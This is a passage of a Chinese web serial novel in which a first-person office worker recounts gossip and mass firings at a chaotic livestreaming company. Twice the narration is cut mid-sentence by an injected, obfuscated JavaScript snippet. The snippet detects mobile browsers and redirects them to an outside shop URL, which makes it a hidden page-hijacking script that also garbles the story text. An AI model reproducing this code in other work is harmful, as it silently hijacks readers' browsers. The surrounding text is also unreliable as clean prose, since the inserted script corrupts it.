我给了她卫生巾之后她倒把我叫住了让我等等她。这是个E人,不过一个换卫生巾的功夫,小嘴一张就是说,从东说到西,从私事说到公事,一会儿打听公司几个人,一会儿又问我们直播做多少GMV了,整个不带停的。 我嗅到一丝耍心眼的味道,她这是在跟我摸底这公司呢!难不成W总裁这丽人闺蜜也是和尖脑袋差不多的角色,都是她要忽悠投资进来的对象?我觉得我真相了。 先前虽然她们就来往,但好像一直也没听说到底合作的什么项目,W总裁不是没事干到处交友的人,她那些饭桌酒桌上来往的,基本不是赚了人家的钱就是要赚人家的钱的。 对于人数办公室都摆着我没必要和她撒谎,对于GMV这种财务相关的,我当然要装傻充愣,哎呀,我不是项目上的人,具体不知道他们的数据。 她一听连忙说,啊,对对对,我俩一样,你也是W总裁的助理秘书吧。我不置可否答了个似是而非,“啊,我不是个合格的助理秘书。哪里能和你比,我们W总裁跟我夸你好多次,说你娇小玲珑的一个,但非常能干,帮老总把公司打理得顺顺当当的一点也不叫她操心,堪比副总呢!” 我领着她在办公室里逛逛,又随她的意陪她在园区逛。 她听到我这番马屁,笑得花枝乱颤,捂着嘴掩住得瑟的嘴角,“哎呀,都是Z总和W总关系好瞎夸的我!其实还是因为Z总优秀,不然哪里能带出来我这样的能力。” 不是啊姐姐,奴性这么深的吗?咱俩这是私下说个话而已,就不必这么给你老板脸上贴金了吧。再说你跟我这么吹嘘你老板,我也不会给我老板说,更不会给你老板说啊,对你有啥好处? 我很迷惑但也说什么,她一个E人自己也能滔滔不绝下去的,“我们Z总啊,可是硕士EMBA连读的呢,学历又高,长得又漂亮,英语又说得好,公司还做得这么成功,我要以她为目标奋斗!” 说完她眼巴巴地看着我。我突然有种当时L总和L总监求我夸赞点评时那种芒刺在背的感觉。不过那天酒桌上她老板不是说了她之前是外教吗,她英语肯定不差,她都能夸她老板英语好,肯定至少和她相当吧。 人家吹得这么起劲了,我是得回应一下,我随便搜索了下脑子里的信息,“EMBA那可太厉害了!不知道Z总是在哪里念的硕士EMBA?哦,我想一定是法国吧,那天晚上吃饭,我记得Z总说她在法国的时候有个朋友到现在关系都很好。不知道她是念的法国哪个学校呢?”虽然咱也不知道为什么法国留学的反而要吹英语好。 不知道是不是我错觉,她脸上的笑僵硬了一下,然后继续笑呵呵地说,“不是法国,是桂省某大学,是211呢,也是非常厉害的!” 啊?这叫我怎么接?你就说是法国的学校我也不懂啊更不会去验证,你要吹牛只管吹不就完了。其实我压根没出过国,除了大家挂在嘴上的哈佛牛津斯坦福之类的世界名校,哪里知道法国有什么知名大学? 我想了想,只好又说,“哦,那真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163820|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很厉害了!不知道Z总是学什么专业呢?” 话头递给她了,只要能让我少说话,她自己滔滔不绝的情况下,总是要少出错的,对吧。 她连连点头,对我陪聊的配合度显然十分满意,“是美学史呢!超级厉害的,非常考验人的审美能力和气质。她那么美,那么会打扮,又那么有气质,真的是学识养人啊!” 这,美学史的硕士EMBA?这啥玩意儿?我一时间觉得是不是自己听错了。是我不懂还是她不懂,按说她之前做过外教,没道理,而且,她那打扮,一股老莞……我说话难听我就不说了。 我现在怀疑,她不是来吹捧她老板,是来嘲笑她老板的。不对啊,我隐晦地瞄一眼她和她老板如出一辙的黑丝细高跟,她这番话如果是嘲笑她老板,那岂不是也在嘲笑自己?那只能是真心的了。我尴尬地想。 确实,她完全没觉得自己说的这些有什么问题,还在不停感叹,“……我相信你若盛开蝴蝶自来,女人经营好自己的生活,真的会过得越来越好!我自从一年前被Z总挖过来之后,也是从0开始做管理,可忙了,再也不能像原来一样只是个小打工人清闲了,忙得一天三杯咖啡起步,有时候喝五六杯,简直是当饭吃,睡觉都没有几个小时,护肤的时间都快要没有了。” 啊?这话题是怎么突然到这里的?我觉得这位E人的脑回路比我这个I人还复杂,但我还是关心道:“那可真的是太辛苦了。不过咖啡还是少喝一点,对心脏不好。” “没办法,不过年轻就是要打拼的!”她举起拳头打气,“我才跟了Z总一年,已经做得非常好了,也没算浪费我的拼命。” 我恍然意识到,可能她不是要重点展示奴性夸赞她老板,而是要通过夸赞她人,从而抬高自己?只有把自己的对照组捧得高高的,才能显得被看上的自己是如此旗鼓相当。 虽然不是很理解这种心理,但我想一个女生爱打拼有事业心总是没有错的,于是想要实实在在地夸奖她几句。 结果她显然等不及我的反应,话头急转直下,“今天W总带我和Z总雍和宫拜拜真的是太好了,我正需要。” “都说雍和宫很灵的,需要拜的去了肯定没错。”我微笑,对她大跨度的话题已经有点免疫,接了一句没有意义的话。只要我不用问问题的方式陪聊,她应该就不会出错了吧。我想。 “真的,我太需要了。我给你说……”显然我这句安全的接话让她正中下怀,她突然有些烦恼又害羞地拽着我的手臂,我被她这突如其来的言行举止吓得一僵,一股不好的预感蹿升。 果然就听她和我掏心挖肺起来,“夏天我休年假回家看望我的爸爸妈妈,顺便和同学们聚会,大家聊聊近况嘛。然后没想到我高中谈的初恋也来了,聚会之后他和我说仍然对我不能忘情,只可惜他已经订婚了,我又在深市发展,我俩没有机会了。” 我发誓我真的对八卦没有什么兴趣,但为什么这些八卦总要自己跑到我跟前来?我不仅有玄学体质,还是什么天生树洞圣体吗?而且,同样的八卦怎么还分你我彼此的,比如我被造黄谣的八卦怎么就一点没舞到我面前呢! 她一点没察觉我尴尬的神色,还在巴巴剖心,“我要出发的那天,他不知道哪里得到消息知道我要赶飞机,他就开车来我家接我说送我,打车也不太方便嘛。他来得特别早,我俩先到了市中心,,他说想请我吃个哈根达斯聊聊,我看距离起飞的时间还早就答应了。我俩就在市里哈根达斯店里聊了三个多小时。哎呀,你说也真是的,那个哈根达斯店非开在一个五星级酒店下面,这导致我俩聊完出去的时候,他未婚妻就看到了,还以为我和他死灰复燃,冲上来就打了我一巴掌……啊,真的是太倒霉了!”她抱怨到。 我看着她看似抱怨更像撒娇的神情,怀疑她不止脑子不太聪明的样子,甚至表情也不太能正常管理。我想起来W总裁明明盛赞她十分聪明会来事儿会张罗,就这?有句话当讲不当讲的,看起来很聪明,其实这聪明不如别展示。 我难得又想八卦一回了,“那里很多人的吧,你当时可怎么办啊?她未婚夫什么反应呢?” 她懊恼地皱眉,这个表情有点对了,“大庭广众的,我也不好跟她闹起来,我那个初恋拉住了她,和她解释我俩真的只是吃个冰淇淋聊聊天,什么都没有发生。她不依不饶说她都听见了!你不知道,她竟然在他车里装了监控器,说她都看到了,我们在车里说的话她都知道,她就跟踪过来了,一直在门口蹲守我们。” 我大为震惊,爱演的人难道生活真的都这么戏剧吗?到处都有人监控她们,所以她们才这么爱演?关键,这戏剧性的故事,我看电视剧里都不敢这样编啊! “我和他在车里真的什么都没做也什么都没说啊,只是我初恋给我抱怨她,说她脾气不好,说她管自己太狠,说还是我好,还说想跟我重修旧好……”她生怕我不信,嘴里不停解释起来。 “可是!我肯定不会再回头和他在一起的,当初我们约好考到一个城市,他后来还是听家里的留在了本地,我们就分开了,我发誓不会再和他好的。所以在车里他跟我那么说,我也没说什么,只和他说我们都各自向前看吧。你说,她既然都看到监控了,怎么还能来打我,明明是她未婚夫有问题。”她有些难过。 好抓马的剧情啊。不是,主要我俩也不熟,不过第三次见面,她跟我这么交浅言深的,她不觉得怪异吗?还是她很缺个人倾述?啊,我真的想告诉她,想要人听她八卦呢,可以写成小说的,反正大家看了都不会信这是作者在写发生在她本人身上的真实故事。 可我也不好跟她这么说,也许这种人就是很需要生活里的观众吧,于是我问,“啊,这事儿你和你同事们说过吗?” 她狠狠点头,“我又没有错我为什么不能说,我真的回来之后好生气啊,越想越生气,我就说给大家都听了给我评评理,她凭什么打我,哪里是我的问题嘛?大家都很支持我啊!明明就是她有问题,大家都让我找律师告她,她对我这是人身伤害!Z总还给我说我就是流年不利,所以让我要拜拜菩萨。” 呵呵。这,行吧,你是没有错。你不过就是没抓住主要矛盾,明明是你那初恋的问题。你没有错,她没有错,错的明明是他! 你说你是休假回家看你的父母,结果又是聚会又是会初恋,走的时候一大早就上了初恋的车,你这哪里对父母有半分留恋不舍啊。你说他送你去机场,咱也不知道你俩这都在一个省里,你们那个省也不是新疆也不是内蒙也不是西藏,就普通大小的一个省,咋还特地坐飞机呢,退一万步就算坐飞机,你是不会用打车软件吗你非得坐他的车。坐车也算了,还跟他去吃冰淇淋,还一呆三小时,最后还被他未婚妻打,他也没帮帮你! 哦,可惜,你不舍得怪他!那你就活该倒霉咯! 我只能安慰到,“是的,你有大好前程,何必和他们纠缠。” 她叹口气,做出宽容大度的样子,“对啊,所以我就想我来拜拜菩萨,去去晦气,希望明年我顺顺利利的。” 我点点头,“嗯,雍和宫很灵的。” 也不知道她有没有被安慰到,反正我就赶紧给她带回去了,姐姐下班时间到了,我没空陪你闹了! 15. 开团秒跟 那天之后,到我彻底离开之前,尖脑袋和两位丽人再也没来过。 总之,如此又过了半个月。大家都快忘了那全新的绩效考评标准,也不对,可能只是我吃瓜看戏太多,只有我忘了。反正吧还是W堂妹制定的个没人签的KPI标准的事儿。 这天W总裁依然出去谈事儿没来公司,那天接待完那几个卧龙凤雏之后,她就没来过。 快两点了,才午休完迷迷糊糊陆续起来的直播团队成员,一开电脑就被叮咚叮咚的消息提示音叫醒了,那是好几条来自公司工作大群的消息。 是W总裁发的,每条都是接近59”的语音。我随手点开一听,气急败坏呼哧带喘的声音,全是情绪没有道理,甚至翻来覆去没有逻辑。总之大概内容就是直指运营不作为,不仅直播没进展不抓紧拿出解决方案调整运营方向,而且直播团队也管理不明白连个新考核标准都签不明白…… “……必须负全责!”突然拔高的音量叫大家都往直播台看去。原来中控的电脑还连着直播台上的音响,也不知道他误触了哪里,突然把这语音在音响里投上外放了。 虽然他立即关掉了,但到底大家都听见了,在听的和还没来得及点开听的,都开始议论纷纷起来。就这么不到十个人叽叽喳喳,也整出了上千只鸭子的效果。 会计室哦不财务室,会计说她可不是什么低级的会计而是财务总监,所以她办公室就是财务室。会计拉开财务室的门出来,想要发威叫大家安静。才张嘴就见运营总监冲到后门出去了,W堂妹也随即跟上。 被训斥的主角走了,大家的喧闹安静下来了几秒。 “X姐,这是怎么了?老板怎么突然生气了?”到底还是诗诗胆大呢,她摸摸肚子好像怕吓到里面的宝宝。 会计皱着脸看了眼开着的后门,那俩已经失去了踪影,“和你们没关系,各自安静工作吧。”说完她就回屋关了门。 诗诗撇嘴冷嘲,和大家没关系,大家又不是聋了没听那语音,里面可是说了他们都不肯签那绩效考评标准呢!不过反正没问责她,她有什么所谓。显然大家也是这么想的,就都无所谓地各自坐回了工位。刚醒来还懵呢,这下精神了,可以刷刷手机看看网页。 不想一波未平一波又起,过了好一会儿,从后门出去的运营总监和W堂妹还没回来,群里倒是又提示了一条消息,那直接铺满屏幕甚至还需要滑动屏幕才能看完的文字,真是叫人没有看的欲望。 No! No! No! 如果这段话是公司的大狗血吵架现场,谁会不想看啊!必定要逐字逐句看,不然漏了哪一点都不够过瘾! 我最近被激活了树洞圣体貌似也打通了八卦技能,于是也赶忙定睛细细看起来。 关我什么事儿!我只是个运营总监又不是老板!出事儿凭什么找我?我…… 运营直接在大群里怼老板,表示是班子太草台他带不动,还要他负责他凭什么负责,而且他只是总监不是总,应该问责W堂妹总。W总完全是个小白什么也不懂,只会贪玩,自己玩还不够,还要他哄着玩才高兴,太难伺候了!L总管的时候也是一推四五六的,有功劳第一个跑出来顶,有问题第一个甩锅给他。这公司真的烂透了! 大家还没读完这一段呢,他接着发了第二段,一样的铺满屏幕还要往下翻。 这回是说他受不了这个鸟气,谁能耐谁来干!他就只做个运营,来产品就播不来就算,啥也不干了!还不忘说选品根本没能力选品,都选的什么稀巴烂的产品,价格没优势产品不突出根本卖不出去云云。总之就是,这些管理乱想,都是老板领导有问题! 呵!哥们儿先前看他高升的时候那喜不自胜天下在手的样子,在酒局上眼巴巴拉着人家大厂的攀关系的样子,喝成烂泥在自己的尿里打滚的样子,怕老婆怕到喝醉都不敢回家的样子……可真叫我没看出来他这么刚啊! 老板当然不可能回复他的。我觉得以她那八卦的本性和咽不下气的样子,要解气也只能是私聊他骂他一顿吧。 反正群里确实没下文了,大家也没吭声,不过很快我看群人数就-1,他被移除了。会计跑来和我说,老板要她开掉运营,给他赔偿让他立即现在就走,再也不想在公司看见他,也咽不下这口被公开怼的气。 我能说什么呢?只能说她可抓紧办吧。不然她的主子发飙起来说不定还要迁怒她呢。 我寻思这开个人的事情,会计这段时间都开顺溜了,应该难不倒她吧。结果万万没想到啊,这次竟然还真给她难住了! 大家不要多想哈,不是因为不给赔偿,要不说W总裁这个人她就是善呢,人给她劈头盖脸骂一顿,她还能给人赔偿才把人扫地出门。 那是什么问题难住了会计呢?还是因为赔偿。因为赔偿不到位!大家也不要多想,真的不是因为赔偿数额不对,其实赔偿数额非常正确,就是按照公司主动提出解除劳动关系最高2N计算的。 这很合法合规啊,咋就叫运营和会计臭了脸还在财务室里吵起来了呢? “不可能!你们开别人都赔了3倍,到我就2倍了,如果不给我和前面两个相同的标准,我就要去投诉社保!查你们偷税漏税!”运营甩下这句话出了财务室,坐回工位上,他开始重装电脑系统。 这是诗诗给我说的。哦,我们都忘了,会计先前自己不懂劳动法,信誓旦旦说自己有个大律师朋友给自己看过的,就是按照2n+1赔偿,她还就一直这么干的呢。 话说我记得当时我和她说过了,她坚决说她才是对的啊。我一度以为是为了杀鸡儆猴所以开了那样的赔偿金弄走人家呢,这估计是她和这公司这些总们的策略呢。没想到啊没想到,竟然真的只是会计一直弄错了而已。 她咋会突然改回2n了呢,难道是我那次疑惑问她,给她种下了怀疑的种子,后来她自己去验证了才发现我说的是真的?然后又突然发现自己因此竟然叫老板多赔了那么些冤枉钱,就企图在大家都不知情的情况下亡羊补牢?结果现在还被运营拆穿了!哦不,是运营当着所有人的面拆穿了,以后她想糊弄谁不按照2n+1,那大家可都有运营这个案例效仿了。 推测出来她的行为逻辑,根本就没难度。只是我是万万没想到,有人竟然可以蠢到如此地步,还觉得自己就是最聪明的。真的是人自恋起来都叫自己害怕啊! 这公司还能更奇葩吗?我想这高度已经够了,应该不至于再更高了……吧? 反正会计关上门之后就给老板打电话汇报去了,肯定的。因为开门之后她丧着一张鬼脸把运营召进去了,很快运营满面春风地拿着两张纸出来。 中控了,诗诗了,美工了,都纷纷开始给他道别。不想他二郎腿一翘,说自己还不走,还得等等。 “3倍赔偿都到手了还等啥啊哥?”中控给他倒了杯热水疑惑问。 运营哈哈一笑,“3倍都是我说了她才认的,而且她还想说按照入职的工资算,我怎么可能同意,就要按照涨了之后15K的工资给我算。现在钱还没到账呢!我要是走了她又反悔怎么办?我就要在公司坐到我钱到账再走。” 大家听了哈哈大笑。开始你一言我一语和他聊起来下面准备做什么?要去哪里高就?他在大家的簇拥下开始侃侃而谈起来。 我去上厕所路过看了一眼,W堂妹坐在他旁边,面对自己直播团队这位得力助手即将滚蛋的现实,也不知道咋想的。说起来开个人走了就走了,她也不组织大家继续干活,办公室整得像个会客厅,谈笑风生的。 回到我前台工位,却发现我收到了一条来自中控的消息。难道是发错了?这位中控不是我招的,是我卸任之后,运营为了更好地管理直播团队,让L总同意招来分担他工作的,且在L总卸任W堂妹和运营上任的时候,得到了极大的重用,是运营的心腹。我俩别说聊天,就是上下班遇到都没打过招呼,相当不熟。我甚至好像都不太记得他长什么样。 我疑惑地点开一看,他竟然和我说要不要一起在大群里发消息骂老板,我发他就跟,或者我愿意跟的话,他可以先发。这啥啊? 我发了个大大大大的问号?他几乎立即回复了我:在群里攻击老板,她一生气就会立即开了我们,美美拿着三倍赔偿走人啊! !!!!天才啊!难怪刚刚路过的时候我听见他和运营说什么,哥你就是我入门的师父,你去哪里也把我带上,我要跟你同甘共苦。 只是,我跟他啥关系啊?他为什么想到来找我一起拱火老板,我属实想不通。 这出戏真是越来越精彩了。我还在想这戏还能咋演的时候,诗诗也给我发消息来了,一张截图,聊天记录,中控给她发了和我一模一样的对话。哈哈哈!这哥们儿为了拿赔偿被开也是拼了,是我见过最拼的!哈哈哈哈。 可认诗诗不傻,怎么可能为了3倍赔偿他开团就跟啊!她挺着那么大的肚子,3倍赔偿能搞定?骂了老板,老板就算一上头让会计开了她,等一看会计算好她那孕期产期哺乳期三期赔偿,都要头晕。 想要赔偿又害怕一个人开团不成,中控还在催我要不要跟团,我没回复他,而是拿起杯子去接水。饮水机竟然是黄灯,我就在那里玩手机等起来。 我不喝要开不开的水,要么直接喝冷水要么直接是开水。这个毛病还在第一家公司的时候,有次和老板一起接水被他看到十分不爽,而且我一边等一边玩手机这是明晃晃在老板眼皮子底下摸鱼,当场就被他批判了。从此我在他那里被记了一笔,次次被他拿出来作为警戒员工不要瞎耽误功夫摸鱼的例子,直到两个月后的年会,我成了业绩冠军,才叫他臭脸转笑脸。 想起来这事儿我还是觉得很好笑。资本家们的嘴脸真是最有意思的,变化无穷,能屈能伸,能跪能舔。水还没烧开呢,运营收到款了,他收拾东西这回真的要走了,中控哪里还等得及! 只听叮咚一声,沉默了半天的大群又收到了消息。 同样是长长的铺满屏需要翻页的文字,都是中控看似正义凛然实则目的昭然若揭的控诉。 他痛陈了入司几个月来的经历,坦言他的师父也就是运营是他见过最厉害的人,不仅完全没问题还很专业能力很好,但公司朝令夕改朝三暮四管理混乱根本无法开展工作,又说老板竟然要开除这样能力强的师父,简直是令人寒心! Perfect!我是说他这番话,也是他想要的结果。不过五分钟,他也喜提了会计发给他的解约通知,当然是私发的,因为他截图给了我,怂恿我快点跟团,秒跟秒赚。而大群呢,很快就被会计设置成了全体禁言。 哈哈哈哈哈,我真的不得不佩服老板挑心腹的眼光,个个都这么能给她新鲜的体验。但凡会计在运营发了第一条就这么干,或者运营发完后就这么干,也就不会让她的主子被再度羞辱了! 我觉得太好笑了,我真的忍不住了。大家一哄而上去送运营上电梯时,我赶紧跑出后门去露台给我的朋友们群发消息,给大家无聊的工作日送去这个极其精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163821|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彩又好笑的乐子,我的八卦圣体已经全然觉醒! 等我回来时,大家已经回到了工位,仿佛无事发生一样。倒是中控和会计关在办公室里,应该是在谈赔偿和签协议。当然,他很快顺当地收拾东西也走了,甚至都没用半小时吧,只是这回没人像送运营那样轰轰烈烈送他。只会计一个人把他送上电梯。 会计送走了他也没立即回到办公室去,又在我前台坐了下来,开始给我说这兵荒马乱的大半天。 她一脸沉痛地说,“你都不知道老板有多生气,还以为中控只是个老实巴交的孩子,没想到也是这样没脑子的人!就是因为怕影响不好,老板让我悄悄把运营开了,好好给他送出门去,别让大家知道他赔了多少钱。没想到这个傻小孩也在群里骂了起来,老板都还觉得他是个老实的,只是被运营拐带瘸了。还跟我说运营走了,再好好和他谈谈,让他知道真相,他再要走就好好给他签了合同走。他签完字了我在等老板转款的时候才听诗诗说,他竟然去撺掇她一起在群里骂老板,好等着被老板开了赔钱,真是脑子坏了!” 我不知道说啥好了,这大姐她也没按照老板说的做啊。让她悄悄开运营,结果她因为要填自己的坑3倍变2倍,被运营闹大,大家谁人不知谁人不晓啊。让她把运营送走了再开中控,结果运营还没送走呢她就在开中控了。这会儿说不好运营还在楼下等着中控呢,这会儿下去了两人还能勾肩搭背的走。她真的完全是反向操作。 会计没发现她的行为和她的表达相悖这回事,还在跟我诉苦,“这小孩看着乖呢,老板多喜欢他啊!老板生日的时候发了朋友圈他不仅点了赞还给老板发祝福,老板高兴得给他发了三千块的大红包呢!整个公司除了小W,可小W是老板的妹妹啊,但老板只给他一个人发了红包……” 我狠狠咬住舌头才没叫自己笑出来!她不说我都忘了这茬了!W总裁生日的时候发了朋友圈,大家都只看看或者点个赞完事,这中控会来事儿,不仅点了赞还私聊给W总裁发了生日祝福,叫她那个高兴啊,直接给他发了三千块大红包。 这事儿吧本来挺私人的他俩不说没人知道。偏偏在这事儿过了好久之后W总裁某次开大会,竟然直接在会上说:你知道我为什么我生日只给你一个人发了红包吗?因为我看你就是个好孩子,懂事有礼貌,所以你好好跟我干,我一定不会亏待你。你们大家也向他看齐,我从来不亏待任何一个员工。 这一下子真是一石激起千层浪了!原来只要在老板过生日的时候给她发祝福她就会发红包吗?大家不信,以为至少几个高管肯定发了也收到的吧。就有人问到我头上来。 可我是谁啊?我是撞了南墙都不回头的犟牛啊,我给她发生日祝福?我过年都不给任何人群发祝福的,别说单独给谁发。我呵呵哒,别说没这例外,我当时被她撤职了啊,她还在猜忌我是和她表弟搞办公室恋情呢,我理都不想理她,还给她发祝福,神仙来了也指使不动我干这事儿好吧。 我说我真没有收到,因为我压根没发祝福,他们都还不信呢。直到后来大家都互相问了一圈,当然除了高管那些人,发现真的只有中控收到了红包,才笑笑夸他聪明幸运作罢。至于是不是真心夸他,谁知道呢? 说起来在我们还不知道这事儿的时候,我生日,朋友买了蛋糕陪我过的,我也拍了张图发朋友圈。他也点赞了之后私聊我发了条明显复制粘贴来的祝福语,什么越来越美丽永远年轻貌美如花之类的,我看了笑笑,回了他一朵玫瑰花。当时还怪异这小孩挺讲究仪式,后来W总裁自己说破我才恍然想到,他估计觉得我曾经是总呢好歹也是个老大,给我发个祝福我也会给他发个大红包呢。 “说起来,中控是爱在人过生日的时候发问候哈,X姐你生日到了吗?你生日的时候他给你发祝福了吗?”我突然想采访一下这群高管,看看这个聪明的孩子是不是ctrl C ctrl V了。 会计愣了一下,显然没想到我话题怎么转到这里的,“没有,我生日还没到呢。不过倒是节日这些经常都收到他发的祝福。这孩子确实看着挺有礼貌挺好的一个孩子,怎么突然就这样了呢?” 得,人家已经不限于生日祝福了,尝到甜头之后,是所有节日都炸一遍,等着爆金币呢!大概是因为我生日的时候他就没爆出来,导致后来没再来我这里刷boss了哈哈哈哈哈。 这人哪里是突然变这样的?人家是本来就这样,从来没变过。而眼下,他跟着运营后面点炮这一举动,又给他爆了不小的一笔金币,根据他工资推算,至少也一下子拿到了两万多块钱呢!呵,真是门好生意,要不是他走了,我都要建议他以后别费劲上班捧啥师父的臭脚了,直接刷怪爆金币轻松多了。 说起来会计怎么会突然提起来这茬?真的是因为看到这样老实巴交的孩子犯错而痛心吗?恐怕不是吧。我想到了她过年过节给老板送礼那事儿。这还是因为有次我在她办公室看见一个礼盒装的咸鸭蛋,问及她是喜欢吃吗,她说不是,是朋友送的礼品。 我寻思啥朋友送礼不送到她家给送到公司呢?没两天就见W总裁来公司走的时候,她在门口和W总裁展开了经典的“拿着拿着”“不要不要”的拉扯,最后W总裁让O女士拎走了那个礼盒。 人这学历能混到今天,是真的有点懂人情世故的哈。连主子都这样费力讨好了,难怪W总裁能这样把她当心腹。说起来她开人赔了这么多冤枉钱,W总裁不也没怪罪她让她滚蛋不是?啧啧,真的是双向奔赴。 16. 又一个黄谣 打个不恰当的比方,我每每见到她和W总裁相处的样子,就会想到贴身大嬷嬷和皇后。那个味儿真的很对。当然,W总裁可是实权老总,不是普通皇后能比的。好吧,换个比方更合适,她和W总裁,就像大太监和皇帝。 所以,破案了,会计突然提起这茬,十有八九是她送了很多礼,又绝对发过很多祝福,结果除了任劳任怨的死工资,三千块的打赏她竟然都没收到过,所以十分耿耿于怀。 哪跟我们这种没出息的,没指望过爆金币也没意外来财的,老板特地在那里提一嘴是为了让我们学着点呢,我们过过耳朵就抛诸脑后了。真是没救了! 她这大太监当得冤不冤枉不好说。只是啊,不得不说的是,和皇帝比起来,W总裁这慧眼识人的功夫,不知道谁强?她这精准挑中二鬼子的本事,我感觉真是无人能及了!她没选中的不好说,但只要她选中的就绝对不要选,铁律准没错!也不知道她当初是走了什么运碰见的我,我现在都开始怀疑她看项目的眼光了。 估计那会儿真的是她走了运踩到我喜欢的领域上,只是也没维持多久就露了底掉。这回她别说什么养我一辈子,她就算说新项目给我分一半收益,我也不会有丝毫动摇的,远离大坑就是最好的前进。 不想见到的人都清理走了,第二天W总裁终于放心来公司了。 一来当然还是召集人开大会。只是这次大会注定不会如以往平静。哦不,是比以往的不平静还要不平静。 “啪啪啪!”她上来就动手。 那猪肝色的老式事业单位大会议桌被她拍得啪啪直响摇摇晃晃,她面前的桌面甚至松动了往下塌了塌,不知道她手麻不麻。 不知道,反正现在她嗓子应该不哑,“竟然有这么不知天高地厚的人!竟然敢这样在大群里公然和老板对抗!吃了熊心豹子胆了?忘记是领着谁的工资靠谁吃上饭的了?反了天了!反了天了……” 我不理解,公然让她颜面尽失的人都拿着她给的赔偿金美滋滋走了,她现在跟这儿生气干啥呢?这还不如昨天就不要顾及面子,直接在群里开骂,哪怕骂爽了再给人开掉呢也比憋到今天在这里无能狂怒的好啊是吧? 可能她觉得她这样的举动很吓人吧? 反正我也不觉得是我被骂了,不会丢脸,更不会觉得她这样发怒有多可怕。我感觉大家和我一样呢。 她再能骂,她嗓子也受不了这样长时间飙高音嚎叫,果然没几分钟她就骂不动了,也没说散会,自己气冲冲就走了。O女士跟在她后头,一直喊她消消气。 我寻思她这一通操作,别说脸面了,是连威严都扫地了才对。真是令人费解的行为逻辑。大家谁也没吓到,毕竟没人觉得她生这气是因为自己啊。恐怕也只吓到了诗诗肚子里的宝宝吧,诗诗说老板发飙拍桌子的时候,孩子踢了她好几脚。 她这不仅不吓人,我看L总好像还因为想到了什么有些喜滋滋的,我知道他肯定想到了群龙无首又该他上位了。和他相反的是W堂妹,老板停了叫骂和走之前那段空当,不知道W堂妹是想到什么还是吓着了,竟然啜泣起来,到会后已经是哭到双眼红肿,像个兔子。 “小W你哭什么哭?你还有脸哭?你姐姐被这样欺负你不说话动作,现在倒是哭上了!”这是老板走之前指着她撂下的话。 我寻思来了,开会的时候运营指责老板W堂妹帮腔这事儿,小报告看来终究还是上达天听了,不知道是哪位的手笔?是嘴角含笑的L总?还是猥琐发育的L总监?难道是现在正温柔安慰W堂妹的会计?那不能吧,这样岂不是显得她太可怕了。 这之后第二天,直播项目依然无人主持工作,按说W堂妹也没被撤职,仍然是直播总经理,不该这样不管事啊。第三天第四天好几天,W总裁没再来公司,W堂妹依然不管事。倒是摆出一副受到了极大的感情创伤后失魂落魄伤春悲秋的样子,每天耳朵里都塞着耳机,听着歌发着愣,偶尔跟人照面就露出一个小说式的缥缈凄美的微笑。 尬得我头皮发麻!我甚至不禁立即回想了一遍,之前我被造黄谣撤职后,有没有过这样的状态。不想不知道,一想吓一跳,原来这样闹哄哄精彩纷呈的日子,竟然不过短短几个月小半年而已,戏剧冲突太频繁了,害人以为过了好几年呢。我脑子里闪过一幕幕想说啥说啥放飞爽翻的画面,半点也没有W堂妹那忧郁伤感,这才放下心来。 大家都无所事事,闲得每天来打卡却没工作安排。唯一有个人例外,她成了整个公司工作最饱和最忙的人。因为W总裁来发威之后隔天,会计开始每天密集地找人单独谈话,然后开人。她工作效率也奇高,每个人都在当天拿着3倍赔偿金喜滋滋走了。 很快,偌大的办公室只剩下了六个人,我、会计、L总、L总监、W堂妹、O女士以及挺着肚子的诗诗。啊?要问O女士怎么突然开始来公司了?这我也不知道,反正那天她追着W总裁出去之后不久就回来了,并且开始每天跟大家的上下班时间来坐班了呢。虽然她也就是陪着她闺女坐着刷手机看视频。 我看着这整整上千平的办公场地,好笑地想到,这是要散伙了吧?我都忍不住用上了中控的爆金币思维,会不会轮到我?难不成我自己辞职的时候没让我走,是等着这会儿来轮到我非要给我赔偿金? 很快一周过去了,新一周又开始了。W总裁仍然没来公司。 “M姐,这是之前我写过的方案文件,还有这些都是面试过的人的资料,你收好。”一大早W堂妹到公司就摆了一筐简历到我桌上,上面还有一个U盘。 我莫名其妙,“啊?给我干嘛?” 她又露出了那凄美的一笑,“你收好就行。”然后走了。 下午两点,诗诗还在直播室里盖着毯子睡觉,L总监也和L总关在他办公室里午休,会计脸上带着趴睡压出来的印痕来到前台和我聊天。 “什么?W总小W辞职了?”不是,老板的妹妹还玩辞职的,不是想来就来想走就走吗,这是什么新型play? 会计叹口气,“是的。昨天老板就给我说了她要辞职。我还说今天等她来了和她好好聊聊,开解开解她,结果她一早来了就把资料文件拷给我,然后就走了。我说辞职好歹要办好手续吧,她才回来,我临时做了资料打印出来给她签了字,完了她就走了。” 我很疑惑,“她为什么要辞职啊?就因为那天会上她吓哭了她姐骂她两句?下不来台?不至于吧?” “谁知道呢?”会计摇摇头,“也怪我不好,我不该给老板说的。害得小W被骂。” 说什么?我想了想,难道那个小报告还真的是她打的啊?这大姐真的是够了。她这两面三刀的功夫真的使得好啊!不仅往我这个外人身上招呼,竟然连老板的亲戚也不放过,也不怕老板哪天后悔了恨上她呢。 已经开启八卦圣体的我,轻松就点亮了循循善诱技能,“你说什么了?要我说,公司发生不好的事情,你告诉老板也是应该的,又不是说假话是吧。” 